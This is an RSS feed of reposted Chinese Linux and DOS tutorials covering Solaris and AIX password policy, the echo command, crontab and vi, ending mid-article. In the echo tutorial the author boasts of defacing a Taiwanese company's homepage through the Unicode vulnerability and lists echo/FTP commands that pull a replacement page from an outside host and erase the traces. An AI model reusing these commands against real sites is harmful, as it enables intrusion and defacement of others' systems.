﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-金鳞-文章分类-Linux</title><link>http://www.cnitblog.com/chenxin9821/category/7795.html</link><description>目标-&gt;软件测试架构师</description><language>zh-cn</language><lastBuildDate>Wed, 28 Sep 2011 15:00:18 GMT</lastBuildDate><pubDate>Wed, 28 Sep 2011 15:00:18 GMT</pubDate><ttl>60</ttl><item><title>Solaris的密码策略（转）</title><link>http://www.cnitblog.com/chenxin9821/articles/67511.html</link><dc:creator>金鳞</dc:creator><author>金鳞</author><pubDate>Thu, 15 Jul 2010 01:48:00 GMT</pubDate><guid>http://www.cnitblog.com/chenxin9821/articles/67511.html</guid><wfw:comment>http://www.cnitblog.com/chenxin9821/comments/67511.html</wfw:comment><comments>http://www.cnitblog.com/chenxin9821/articles/67511.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/chenxin9821/comments/commentRss/67511.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/chenxin9821/services/trackbacks/67511.html</trackback:ping><description><![CDATA[Solaris在/etc/security/policy.conf中提供了4种不同的密码方案，查看该policy.conf，注意以下行：<br><br>&nbsp; &nbsp; CRYPT_ALGORITHMS_ALLOW=1,2a,md5<br>&nbsp; &nbsp; #CRYPT_ALGORITHMS_DEPRECATE=__unix__<br>&nbsp; &nbsp; CRYPT_DEFAULT=__unix__<br><br>上述提供的算法中除了__unix__是不太让人不放心的crypt_unix，其他几个都在/etc/security/crypt.conf中有相应的描述：<br><br><strong>1</strong> (crypt_bsdmd5.so): One-way password hashing module for use with crypt(3C) that uses the MD5 message hash algorithm. The output is compatible with md5crypt on BSD and Linux systems. Password Limit: 255 chars <br><strong>2a</strong> (crypt_bsdbf.so): One-way password hashing module for use with crypt(3C) that uses the Blowfish cryptographic algorithm. Password Limit: 255 chars <br><strong>md5</strong> (crypt_sunmd5.so): One-way password hashing module for use with crypt(3C) that uses the MD5 message hash algorithm. This module is designed to make it difficult to crack passwords that use brute force attacks based on high speed MD5 implementations that use code inlining, unrolled loops, and table lookup. Password Limit: 255 chars <br><br>要想获得更好的密码安全性，只需要修改/etc/securiry/policy.conf中的两行：取消CRYPT_ALGORITHMS_DEPRECATE前面的注释符，并修改CRYPT_DEFAULT行为你希望使用的密码算法。<br><br>&nbsp; &nbsp;&nbsp;&nbsp;CRYPT_ALGORITHMS_DEPRECATE=__unix__<br>&nbsp; &nbsp;&nbsp;&nbsp;CRYPT_DEFAULT=2a<br><br>现在你就可以使用passwd修改密码，即使是crypt_unix已经作废的密码仍然是可以被接受的。你可以通过在/etc/shadow的密码前面加上$type$来告知使用何种密码格式。例如：<br><br><br>
<ul><br>
    <li>moqZuc0PXJ/gw: Traditional UNIX password <br>
    <li>$1$AR11mcp5$5wP5t99.kiHBiJ3qrg9jW1: Linux/BSD Compatible MD5 <br>
    <li>$2a$04$Q4m1iCDQWCl9l6h6yDFcC.agmbB21YXJxhrB1bmfnVOcrZwBBZUsm: Blowfish password <br>
    <li>$md5$3UqYqndY$$6P.aaWOoucxxq.l00SS9k0: Sun MD5 password<br></li>
</ul>
<br>我必须提醒大家，如果密码算法没有作废，那么修改的密码仍将使用已存在的密码格式。也就是说如果你使用Sun MD5作为缺省的密码格式，创建一个用户，设定密码，接着你又改变了缺省密码格式，然后又修改密码，因为你并没有将原密码算法作废，所以修改的密码仍将使用已存在的Sun MD5格式。所以这里的关键就是，如果你想把所有用户的密码从一种格式转换的另一种格式，请确保废弃掉那些你不再想使用的密码格式，以获得所期望的效果。<br>转自：<a href="http://bbs.chinaunix.net/viewthread.php?tid=987710&amp;highlight=yuhuohu">http://bbs.chinaunix.net/viewthread.php?tid=987710&amp;highlight=yuhuohu</a>
<img src ="http://www.cnitblog.com/chenxin9821/aggbug/67511.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/chenxin9821/" target="_blank">金鳞</a> 2010-07-15 09:48 <a href="http://www.cnitblog.com/chenxin9821/articles/67511.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AIX密码策略(转)</title><link>http://www.cnitblog.com/chenxin9821/articles/67501.html</link><dc:creator>金鳞</dc:creator><author>金鳞</author><pubDate>Wed, 14 Jul 2010 09:01:00 GMT</pubDate><guid>http://www.cnitblog.com/chenxin9821/articles/67501.html</guid><wfw:comment>http://www.cnitblog.com/chenxin9821/comments/67501.html</wfw:comment><comments>http://www.cnitblog.com/chenxin9821/articles/67501.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/chenxin9821/comments/commentRss/67501.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/chenxin9821/services/trackbacks/67501.html</trackback:ping><description><![CDATA[<div class=tit>AIX密码策略</div>
<div class=date>&nbsp;</div>
<table style="TABLE-LAYOUT: fixed; WIDTH: 100%">
    <tbody>
        <tr>
            <td>
            <div class=cnt id=blog_text>etc/passwd 文件记录全名和使用的 shell 的路径名。要更改记录名，请输入 passwd -f 命令。要更改登录 shell，请输入 passwd -s 命令。<br>
            <div class=spctrl></div>
            　　根据密码限制，在 /etc/security/user 配置文件中构造本地定义的密码。此文件包含下列限制：<br>
            <div class=spctrl></div>
            　　minalpha 指定字母字符的最小数目。<br>
            <div class=spctrl></div>
            　　minother 指定其它字符的最小数目。<br>
            <div class=spctrl></div>
            　　minlen 指定字符的最小数目。<br>
            <div class=spctrl></div>
            　　注:<br>
            <div class=spctrl></div>
            　　此值由 minalpha 值加上 minother 值和 minlen 值中的大者。<br>
            <div class=spctrl></div>
            　　mindiff 指定出现在新密码中但没出现在旧密码中的字符的最小数。<br>
            <div class=spctrl></div>
            　　注:<br>
            <div class=spctrl></div>
            　　此限制并不考虑位置。如果新密码是 abcd 并且旧密码是 edcb ，不同字符数就是 1。<br>
            <div class=spctrl></div>
            　　maxrepeats 指定在密码中单个字符使用的最大次数。<br>
            <div class=spctrl></div>
            　　minage 指定密码能够更改的最小寿命。密码必须保持一个最小周期。此值用周来评测。<br>
            <div class=spctrl></div>
            　　maxage 指定密码的最大寿命。密码必须在指定的周数后更改。<br>
            <div class=spctrl></div>
            　　maxexpired 指定用户可以更改密码的超出最大寿命 maxage 的最大周数。<br>
            <div class=spctrl></div>
            　　histexpire 指定用户不能重用密码的周数。<br>
            <div class=spctrl></div>
            　　histsize 指定用户不能重用的前几个密码的数目。<br>
            <div class=spctrl></div>
            　　dictionlist 指定更改密码时要检查的字典文件列表。<br>
            <div class=spctrl></div>
            　　pwdchecks 指定更改密码时要调用的外部密码限制方法的列表。<br>
            <div class=spctrl></div>
            　　如果 root 用户添加了 NOCHECK 属性到在 /etc/security/passwd 文件中的标志条目中，密码就不必满足这些限制。另外，root 用户也可指定新密码给其它用户而不遵循密码的限制。<br>
            <div class=spctrl></div>
            　　如果 root 用户在标志条目中添加了 ADMIN 属性或者如果在 /etc/passwd 文件中的 password 字段包含 * （星号），则只有 root 用户才能更改密码。如果在 /etc/passwd 中的 password 字段包含有 !（感叹号）和在 /etc/security/passwd 文件中的 password 字段包含有 * （星号），则 root 用户拥有更改您的密码的超级特权。<br>
            <div class=spctrl></div>
            　　如果 root 用更改您的密码，则 ADMCHG 属性就会自动地添加到在 /etc/security/passwd 文件中的标志条目上。这种情况下，您必须在下次登录时更改密码。<br>
            <div class=spctrl></div>
            　　如果 /etc/security/user 文件中用户的 registry 值是 DCE 或者 NIS，则密码更改只能在指定的数据库中进行。<br>
            <div class=spctrl></div>
            　　<strong>标志</strong><br>
            <div class=spctrl></div>
            　　-f 更改由 finger 命令访问的用户信息。可以使用此标志提供在 /etc/passwd 文件中的全名。<br>
            <div class=spctrl></div>
            　　-s 更改登录 shell。<br>
            <div class=spctrl></div>
            　　-R load_module 指定可装入 I&amp;A 模块，来更改用户的密码。<br>
            <div class=spctrl></div>
            　　安全性<br>
            <div class=spctrl></div>
            　　访问控制：安装此程序为可信计算库的一部分，并可让所有用户执行。另外，此程序应该运行 setuid 以成为 root 用户来获取对密码文件的写访问。<br>
            <div class=spctrl></div>
            　　文件存取：<br>
            <div class=spctrl></div>
            　　方式 文件<br>
            <div class=spctrl></div>
            　　r /etc/security/user<br>
            <div class=spctrl></div>
            　　rx /usr/lib/security/DCE<br>
            <div class=spctrl></div>
            　　rx /usr/lib/security/NIS<br>
            <div class=spctrl></div>
            　　rw /etc/passwd<br>
            <div class=spctrl></div>
            　　rw /etc/security/passwd<br>
            <div class=spctrl></div>
            　　r /etc/security/login.cfg<br>
            <div class=spctrl></div>
            　　审计事件：<br>
            <div class=spctrl></div>
            　　事件 信息<br>
            <div class=spctrl></div>
            　　PASSWORD_Change user<br>
            <div class=spctrl></div>
            　　<strong>示例</strong><br>
            <div class=spctrl></div>
            　　1. 要更改密码，请输入：<br>
            <div class=spctrl></div>
            　　passwd<br>
            <div class=spctrl></div>
            　　passwd 命令提示输入旧密码，如果它存在并且您不是 root 用户。输入旧密码后，命令提示输入两次新密码。<br>
            <div class=spctrl></div>
            　　2. 要更改 /etc/passwd 文件中的全名，请输入：<br>
            <div class=spctrl></div>
            　　passwd -f<br>
            <div class=spctrl></div>
            　　passwd 命令显示为您的用户标识存储的名称。例如，对于登录名 sam ， passwd 命令能够显示以下消息：<br>
            <div class=spctrl></div>
            　　sam's current gecos:<br>
            <div class=spctrl></div>
            　　"Sam Smith"<br>
            <div class=spctrl></div>
            　　是否更改？&gt;<br>
            <div class=spctrl></div>
            　　如果输入 Y（是），passwd 命令提示输入新名。 passwd 命令记录输入的名称到 /etc/passwd 文件中。<br>
            <div class=spctrl></div>
            　　3. 要在下次登录时使用不同的 shell，请输入：<br>
            <div class=spctrl></div>
            　　passwd - s<br>
            <div class=spctrl></div>
            　　passwd 命令列出可用的和当前使用的 shell 的路径名。此命令也显示提示：<br>
            <div class=spctrl></div>
            　　是否更改？&gt;<br>
            <div class=spctrl></div>
            　　如果输入 Y（是），passwd 命令提示输入要使用的 shell。下次登录时系统提供在此指定的 shell。<br>
            <div class=spctrl></div>
            　　<strong>文件</strong><br>
            <div class=spctrl></div>
            　　/usr/bin/passwd 包含 passwd 命令。<br>
            <div class=spctrl></div>
            　　/etc/passwd 包含用户 ID、用户名、主目录、登录 shell 和 finger 的信息<br>
            <div class=spctrl></div>
            　　/etc/security/passwd 包含加密的密码和安全性信息。</div>
            </td>
        </tr>
    </tbody>
</table>
转自：<a href="http://hi.baidu.com/laoerdan/blog/item/fc56b5c682af8c129c163d67.html">http://hi.baidu.com/laoerdan/blog/item/fc56b5c682af8c129c163d67.html</a>
<img src ="http://www.cnitblog.com/chenxin9821/aggbug/67501.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/chenxin9821/" target="_blank">金鳞</a> 2010-07-14 17:01 <a href="http://www.cnitblog.com/chenxin9821/articles/67501.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>echo命令小结</title><link>http://www.cnitblog.com/chenxin9821/articles/61400.html</link><dc:creator>金鳞</dc:creator><author>金鳞</author><pubDate>Mon, 14 Sep 2009 06:24:00 GMT</pubDate><guid>http://www.cnitblog.com/chenxin9821/articles/61400.html</guid><wfw:comment>http://www.cnitblog.com/chenxin9821/comments/61400.html</wfw:comment><comments>http://www.cnitblog.com/chenxin9821/articles/61400.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/chenxin9821/comments/commentRss/61400.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/chenxin9821/services/trackbacks/61400.html</trackback:ping><description><![CDATA[<p>echo命令主要功能简单点说就是 开启或关闭批处理命令行显示在屏幕上 它是批文件的令&nbsp; 属于内部命令 内部命令就是常驻于内存的命令 在任意路径下输入均执行 </p>
<p>echo命令的目的有两个:<br>1.避免不需要的命令显示来干扰屏幕<br>2.在屏幕上给用户显示提示信息&nbsp; 如:我们在dos下常见的提示 "请插入A盘"</p>
<p>用不带参数的echo命令 则显示当前的echo状态信息 </p>
<p>在以前的版本是没有的 在dos 3.3后的版本又增加了一个显示空串效果的命令 : echo+&nbsp; 可以利用该命令在显示中跳过一行,在建批处理命令中有实际上的意义 如:我们想独行显示 请插入A盘&nbsp;&nbsp; 则我们可以在 请插入A盘 前一句末尾添加echo+ 则可以在下一行显示该句了&nbsp; 大家把下面新建为txt后该为bat在dos下试试</p>
<p>@echo off<br>echo+<br>echo 牛族牛族!!!最牛的族!!!!!!!!!!!!!!<br>echo+<br>pause<br>echo draper!!!&nbsp; &gt;a.txt<br>echo draper is winner!!!!!&gt;&gt; a.txt<br>a.txt<br>del a.txt</p>
<p>很简单 为了让你给好的理解</p>
<p>下面再给讲讲和unicode漏洞有关的echo命令 以前有人写了 我再解释一下 </p>
<p>echo [message]&gt;[file name] 这个命令是把指定的字符串送到指定的文件中</p>
<p>注意我的说明:<br>&#8220;&gt;&gt;&#8221;将把内容将填加到文件中，&#8220;&gt;&#8221;将原文件内容覆盖</p>
<p>比如我前几天我利用unicode漏洞后顺利进入台湾的一家公司的主页后 这样进行:<br>echo open upload.51.com&gt; c:\draper.txt <br>echo draper &gt;&gt; c:\draper.txt <br>echo draper &gt;&gt; c:\draper.txt <br>echo get index.htm c:\inetpub\wwwroot\index.htm+&gt;&gt;+c:\draper.txt <br>ftp -s:c:\draper.txt<br>del&nbsp; c:\draper.txt<br>bye</p>
<p>&nbsp;<br>强调一下:del一句一定记得 不然别人很容易的看到你的密码. 还有index.htm是你预先设计好的&nbsp; 用bye最后退出FTP对话&nbsp; 呵呵黑主页就那么几招.进行上面的步骤有个前提 就是你已经拿到了admin的权限&nbsp; </p>
<p>好了,说到这里阿&nbsp; 不懂的慢慢理解!!!!!draper is winner!!!!!</p>
<p>ECHO命令的使用<br>1． 作为控制批处理命令在执行时是否显示命令行自身的开关 </p>
<p>格式：ECHO [ON|OFF]</p>
<p>如果想关闭&#8220;ECHO OFF&#8221;命令行自身的显示，则需要在该命令行前加上&#8220;@&#8221;。</p>
<p>2． 显示当前ECHO设置状态 </p>
<p>格式：ECHO</p>
<p>3． 输出提示信息 </p>
<p>格式：ECHO信息内容</p>
<p>上述是ECHO命令常见的三种用法，也是大家熟悉和会用的，但作为DOS命令淘金者你还应该知道下面的技巧：</p>
<p>4． 关闭DOS命令提示符 </p>
<p>在DOS提示符状态下键入ECHO OFF，能够关闭DOS提示符的显示使屏幕只留下光标，直至键入ECHO ON，提示符才会重新出现。</p>
<p>5． 输出空行，即相当于输入一个回车 </p>
<p>格式：ECHO．</p>
<p>值得注意的是命令行中的&#8220;．&#8221;要紧跟在ECHO后面中间不能有空格，否则&#8220;．&#8221;将被当作提示信息输出到屏幕。另外&#8220;．&#8221;可以用，：；&#8221;／[\]＋等任一符号替代。</p>
<p>在下面的例子中ECHO．输出的回车，经DOS管道转向作为TIME命令的输入，即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后，自动返回到DOS提示符状态：</p>
<p>C:&gt;ECHO.|TIME</p>
<p>ECHO命令输出空行的另一个应用实例是：将ECHO．加在自动批处理文件中，使原本在屏幕下方显示的提示画面，出现在屏幕上方。</p>
<p>6． 答复命令中的提问 </p>
<p>格式：ECHO答复语|命令文件名</p>
<p>上述格式可以用于简化一些需要人机对话的命令（如：CHKDSK／F；FORMAT Drive:；del *.*）的操作，它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入&#8220;Y&#8221;回车：</p>
<p>C:&gt;ECHO Y|CHKDSK/F</p>
<p>C:&gt;ECHO Y|DEL A :*.*</p>
<p>7． 建立新文件或增加文件内容 </p>
<p>格式：ECHO 文件内容＞文件名</p>
<p>ECHO 文件内容＞＞文件名</p>
<p>例如：C:&gt;ECHO @ECHO OFF&gt;AUTOEXEC.BAT建立自动批处理文件</p>
<p>C:&gt;ECHO C:\CPAV\BOOTSAFE&gt;&gt;AUTOEXEC.BAT向自动批处理文件中追加内容</p>
<p>C:TYPE AUTOEXEC.BAT显示该自动批处理文件</p>
<p>@ECHO OFF</p>
<p>C:\CPAV\BOOTSAFE</p>
<p>8． 向打印机输出打印内容或打印控制码 </p>
<p>格式：ECHO 打印机控制码＞PRN</p>
<p>ECHO 打印内容＞PRN</p>
<p>下面的例子是向M－1724打印机输入打印控制码。＜Alt＞156是按住Alt键在小键盘键入156，类似情况依此类推：</p>
<p>C:&gt;ECHO +156+42+116&gt;PRN（输入下划线命令FS＊t）</p>
<p>C:&gt;ECHO <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#43;&#49;&#53;&#53;&#64;&#62;&#80;&#82;&#78;">+155@&gt;PRN</a>（输入初始化命令ESC@）</p>
<p>C:&gt;ECHO.&gt;PRN（换行）</p>
<p>9． 使喇叭鸣响 </p>
<p>C:&gt;ECHO ^G</p>
<p>&#8220;^G&#8221;是用Ctrl＋G或Alt＋007输入，输入多个^G可以产生多声鸣响。使用方法是直接将其加入批处理文件中或做成批处理文件调用。</p>
<p>10．执行ESC控制序列修改屏幕和键盘设置 </p>
<p>我们知道DOS的设备驱动程序ANSI.SYS提供了一套用来修改屏幕和键盘设置的ESC控制序列。如执行下述内容的批处理程序可以把功能键F12定义为DOS命令&#8220;DIR／W&#8221;，并把屏幕颜色修改为白色字符蓝色背景。</p>
<p>@ECHO&#8221;&#8592;[0;134;&#8221;DIR/W&#8221;;13p</p>
<p>@ECHO&#8221;&#8592;[1;37;44m</p>
<p>（注：批处理文件中&#8220;&#8592;&#8221;字符的输入方法是在编辑状态下按Alt中小键盘上的27）</p>
<img src ="http://www.cnitblog.com/chenxin9821/aggbug/61400.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/chenxin9821/" target="_blank">金鳞</a> 2009-09-14 14:24 <a href="http://www.cnitblog.com/chenxin9821/articles/61400.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Crontab实例</title><link>http://www.cnitblog.com/chenxin9821/articles/52202.html</link><dc:creator>金鳞</dc:creator><author>金鳞</author><pubDate>Thu, 04 Dec 2008 08:52:00 GMT</pubDate><guid>http://www.cnitblog.com/chenxin9821/articles/52202.html</guid><wfw:comment>http://www.cnitblog.com/chenxin9821/comments/52202.html</wfw:comment><comments>http://www.cnitblog.com/chenxin9821/articles/52202.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/chenxin9821/comments/commentRss/52202.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/chenxin9821/services/trackbacks/52202.html</trackback:ping><description><![CDATA[<div id=art style="FONT-SIZE: 10pt; MARGIN: 15px" width="100%">
<div>
<p>cron是一个linux下的定时执行工具，可以在无需人工干预的情况下运行作业。由于Cron&nbsp;是Linux的内置服务，但它不自动起来，可以用以下的方法启动、关闭这个服务： <br></p>
<br><br>/sbin/service&nbsp;crond&nbsp;start&nbsp;//启动服务 <br>/sbin/service&nbsp;crond&nbsp;stop&nbsp;//关闭服务 <br>/sbin/service&nbsp;crond&nbsp;restart&nbsp;//重启服务 <br>/sbin/service&nbsp;crond&nbsp;reload&nbsp;//重新载入配置 <br><br>你也可以将这个服务在系统启动的时候自动启动： <br>在/etc/rc.d/rc.local这个脚本的末尾加上： <br>/sbin/service&nbsp;crond&nbsp;start <br><br>现在Cron这个服务已经在进程里面了，我们就可以用这个服务了，Cron服务提供以下几种接口供大家使用： <br><br>1、直接用crontab命令编辑 <br><br>cron服务提供crontab命令来设定cron服务的，以下是这个命令的一些参数与说明： <br><br>crontab&nbsp;-u&nbsp;//设定某个用户的cron服务，一般root用户在执行这个命令的时候需要此参数 <br>crontab&nbsp;-l&nbsp;//列出某个用户cron服务的详细内容 <br>crontab&nbsp;-r&nbsp;//删除某个用户的cron服务 <br>crontab&nbsp;-e&nbsp;//编辑某个用户的cron服务
<p>&#160;</p>
<p><br>比如说root查看自己的cron设置：crontab&nbsp;-u&nbsp;root&nbsp;-l <br>再例如，root想删除fred的cron设置：crontab&nbsp;-u&nbsp;fred&nbsp;-r <br>在编辑cron服务时，编辑的内容有一些格式和约定，输入：crontab&nbsp;-u&nbsp;root&nbsp;-e <br>进入vi编辑模式，编辑的内容一定要符合下面的格式：*/1&nbsp;*&nbsp;*&nbsp;*&nbsp;*&nbsp;ls&nbsp;&gt;&gt;&nbsp;/tmp/ls.txt <br><br>这个格式的前一部分是对时间的设定，后面一部分是要执行的命令，如果要执行的命令太多，可以把这些命令写到一个脚本里面，然后在这里直接调用这个脚本就可以了，调用的时候记得写出命令的完整路径。时间的设定我们有一定的约定，前面五个*号代表五个数字，数字的取值范围和含义如下： <br><br>分钟　（0-59） <br>小時　（0-23） <br>日期　（1-31） <br>月份　（1-12） <br>星期　（0-6）//0代表星期天 <br><br>除了数字还有几个个特殊的符号就是"*"、"/"和"-"、","，*代表所有的取值范围内的数字，"/"代表每的意思,"*/5"表示每5个单位，"-"代表从某个数字到某个数字,","分开几个离散的数字。以下举几个例子说明问题： <br><br>每天早上6点 <br><br>0&nbsp;6&nbsp;*&nbsp;*&nbsp;*&nbsp;echo&nbsp;"Good&nbsp;morning."&nbsp;&gt;&gt;&nbsp;/tmp/test.txt&nbsp;//注意单纯echo，从屏幕上看不到任何输出，因为cron把任何输出都email到root的信箱了。 <br><br>每两个小时 <br><br>0&nbsp;*/2&nbsp;*&nbsp;*&nbsp;*&nbsp;echo&nbsp;"Have&nbsp;a&nbsp;break&nbsp;now."&nbsp;&gt;&gt;&nbsp;/tmp/test.txt <br><br>晚上11点到早上8点之间每两个小时，早上八点 <br><br>0&nbsp;23-7/2，8&nbsp;*&nbsp;*&nbsp;*&nbsp;echo&nbsp;"Have&nbsp;a&nbsp;good&nbsp;dream：）"&nbsp;&gt;&gt;&nbsp;/tmp/test.txt <br><br>每个月的4号和每个礼拜的礼拜一到礼拜三的早上11点 <br><br>0&nbsp;11&nbsp;4&nbsp;*&nbsp;1-3&nbsp;command&nbsp;line <br><br>1月1日早上4点 <br><br>0&nbsp;4&nbsp;1&nbsp;1&nbsp;*&nbsp;command&nbsp;line <br><br>每次编辑完某个用户的cron设置后，cron自动在/var/spool/cron下生成一个与此用户同名的文件，此用户的cron信息都记录在这个文件中，这个文件是不可以直接编辑的，只可以用crontab&nbsp;-e&nbsp;来编辑。cron启动后每过一份钟读一次这个文件，检查是否要执行里面的命令。因此此文件修改后不需要重新启动cron服务。 <br><br>2、编辑/etc/crontab&nbsp;文件配置cron <br><br>cron服务每分钟不仅要读一次/var/spool/cron内的所有文件，还需要读一次/etc/crontab,因此我们配置这个文件也能运用&nbsp;cron服务做一些事情。用crontab配置是针对某个用户的，而编辑/etc/crontab是针对系统的任务。此文件的文件格式是： </p>
<p>SHELL=/bin/bash <br><br>PATH=/sbin:/bin:/usr/sbin:/usr/bin <br></p>
<p><br><br>MAILTO=root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //如果出现错误，或者有数据输出，数据作为邮件发给这个帐号 <br><br>HOME=/&nbsp;&nbsp;&nbsp; //使用者运行的路径,这里是根目录 <br><br>#&nbsp;run-parts <br><br>01&nbsp;*&nbsp;*&nbsp;*&nbsp;*&nbsp;root&nbsp;run-parts&nbsp;/etc/cron.hourly&nbsp;//每小时执行/etc/cron.hourly内的脚本 <br>02&nbsp;4&nbsp;*&nbsp;*&nbsp;*&nbsp;root&nbsp;run-parts&nbsp;/etc/cron.daily&nbsp;//每天执行/etc/cron.daily内的脚本<br>22&nbsp;4&nbsp;*&nbsp;*&nbsp;0&nbsp;root&nbsp;run-parts&nbsp;/etc/cron.weekly&nbsp;//每星期执行/etc/cron.weekly内的脚本 <br>42&nbsp;4&nbsp;1&nbsp;*&nbsp;*&nbsp;root&nbsp;run-parts&nbsp;/etc/cron.monthly&nbsp;//每月去执行/etc/cron.monthly内的脚本 <br><br>大家注意"run-parts"这个参数了，如果去掉这个参数的话，后面就可以写要运行的某个脚本名，而不是文件夹名了。</p>
</div>
<div>--------------------------------------</div>
<div>
<p>基本格式 :<br>*　　*　　*　　*　　*　　command<br>分　时　日　月　周　命令</p>
<p>第1列表示分钟1～59 每分钟用*或者 */1表示<br>第2列表示小时1～23（0表示0点）<br>第3列表示日期1～31<br>第4列表示月份1～12<br>第5列标识号星期0～6（0表示星期天）<br>第6列要运行的命令</p>
<p>crontab文件的一些例子：</p>
<p>30 21 * * * /usr/local/etc/rc.d/lighttpd restart<br>上面的例子表示每晚的21:30重启lighttpd 。</p>
<p>45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart<br>上面的例子表示每月1、10、22日的4 : 45重启lighttpd 。</p>
<p>10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart<br>上面的例子表示每周六、周日的1 : 10重启lighttpd 。</p>
<p>0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart<br>上面的例子表示在每天18 : 00至23 : 00之间每隔30分钟重启lighttpd 。</p>
<p>0 23 * * 6 /usr/local/etc/rc.d/lighttpd restart<br>上面的例子表示每星期六的11 : 00 pm重启lighttpd 。</p>
<p>* */1 * * * /usr/local/etc/rc.d/lighttpd restart<br>每一小时重启lighttpd </p>
<p>* 23-7/1 * * * /usr/local/etc/rc.d/lighttpd restart<br>晚上11点到早上7点之间，每隔一小时重启lighttpd </p>
<p>0 11 4 * mon-wed /usr/local/etc/rc.d/lighttpd restart<br>每月的4号与每周一到周三的11点重启lighttpd </p>
<p>0 4 1 jan * /usr/local/etc/rc.d/lighttpd restart<br>一月一号的4点重启lighttpd </p>
<br><span style="COLOR: #000000">自：</span><strong><font size=3><font color=#ffffff><span style="COLOR: #000000">Mozer--沙落满地</span><br></font><font color=#ffffff><a href="http://blog.chinaunix.net/u/31547/showart_438018.html">http://blog.chinaunix.net/u/31547/showart_438018.html</a></font></font></strong><br></div>
</div>
<img src ="http://www.cnitblog.com/chenxin9821/aggbug/52202.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/chenxin9821/" target="_blank">金鳞</a> 2008-12-04 16:52 <a href="http://www.cnitblog.com/chenxin9821/articles/52202.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux常见命令:屏幕文本编辑器Vi </title><link>http://www.cnitblog.com/chenxin9821/articles/52146.html</link><dc:creator>金鳞</dc:creator><author>金鳞</author><pubDate>Tue, 02 Dec 2008 06:32:00 GMT</pubDate><guid>http://www.cnitblog.com/chenxin9821/articles/52146.html</guid><wfw:comment>http://www.cnitblog.com/chenxin9821/comments/52146.html</wfw:comment><comments>http://www.cnitblog.com/chenxin9821/articles/52146.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/chenxin9821/comments/commentRss/52146.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/chenxin9821/services/trackbacks/52146.html</trackback:ping><description><![CDATA[<span style="FONT-SIZE: 10pt; FONT-FAMILY: Comic Sans MS">本章中，我们将循序渐进地介绍如何使用Vi来建立、编辑、显示以及处理文件。（注：文中的大写字母为［shift］键+相应的小写字母的组合）<br>　　　Vi简介<br>　　Vi是&#8220;Visual interface&#8221;的简称，它在Linux上的地位就仿佛Edit程序在DOS上一样。它可以执行输出、删除、查找、替换、块操作等众多文本操作，而且用户可以根据自己的需要对其进行定制，这是其他编辑程序所没有的。<br>　　Vi不是一个排版程序，它不象Word或WPS那样可以对字体、格式、段落等其他属性进行编排，它只是一个文本编辑程序。<br>　　Vi没有菜单，只有命令，且命令繁多。Vi有三种基本工作模式：命令行模式、文本输入模式和末行模式。<br>　　命令行模式<br>　　任何时候，不管用户处于何种模式，只要按一下键，即可使Vi进入命令行模式；我们在shell环境（提示符为$）下输入启动Vi命令，进入编辑器时，也是处于该模式下。<br>　　在该模式下，用户可以输入各种合法的Vi命令，用于管理自己的文档。此时从键盘上输入的任何字符都被当做编辑命令来解释，若输入的字符是合法的Vi命令，则Vi在接受用户命令之后完成相应的动作。但需注意的是，所输入的命令并不在屏幕上显示出来。若输入的字符不是Vi的合法命令，Vi会响铃报警。<br>　　文本输入模式<br>　　在命令模式下输入插入命令i、附加命令a 、打开命令o、修改命令c、取代命令r或替换命令s都可以进入文本输入模式。在该模式下，用户输入的任何字符都被Vi当做文件内容保存起来，并将其显示在屏幕上。在文本输入过程中，若想回到命令模式下，按键即可。<br>　　末行模式<br>　　末行模式也称ex转义模式。<br>　　Vi和Ex编辑器的功能是相同的，二者主要区别是用户界面。在Vi中，命令通常是单个键，例如i、a、o等；而在Ex中，命令是以按回车键结束的正文行。Vi有一个专门的&#8220;转义&#8221;命令，可访问很多面向行的Ex命令。在命令模式下，用户按&#8220;:&#8221;键即可进入末行模式下，此时Vi会在显示窗口的最后一行（通常也是屏幕的最后一行）显示一个&#8220;:&#8221;作为末行模式的提示符，等待用户输入命令。多数文件管理命令都是在此模式下执行的（如把编辑缓冲区的内容写到文件中等）。末行命令执行完后，Vi自动回到命令模式。例如：<br>　　:1，$s / A / a / g<br>　　则从文件第一行至文件尾将大写A全部替换成小写a。<br>　　若在末行模式下输入命令过程中改变了主意，可按键，或用退格键将输入的命令全部删除之后，再按一下退格键，即可使Vi回到命令模式下。<br>　　Vi编辑器的三种工作模式之间的转换如图11-1所示<br>　　如果要从命令模式转换到编辑模式，可以键入命令a或者i；如果需要从文本模式返回，则按Esc键即可。在命令模式下输入&#8220;:&#8221;即可切换到末行模式，然后输入命令。<br>　　第二十五课 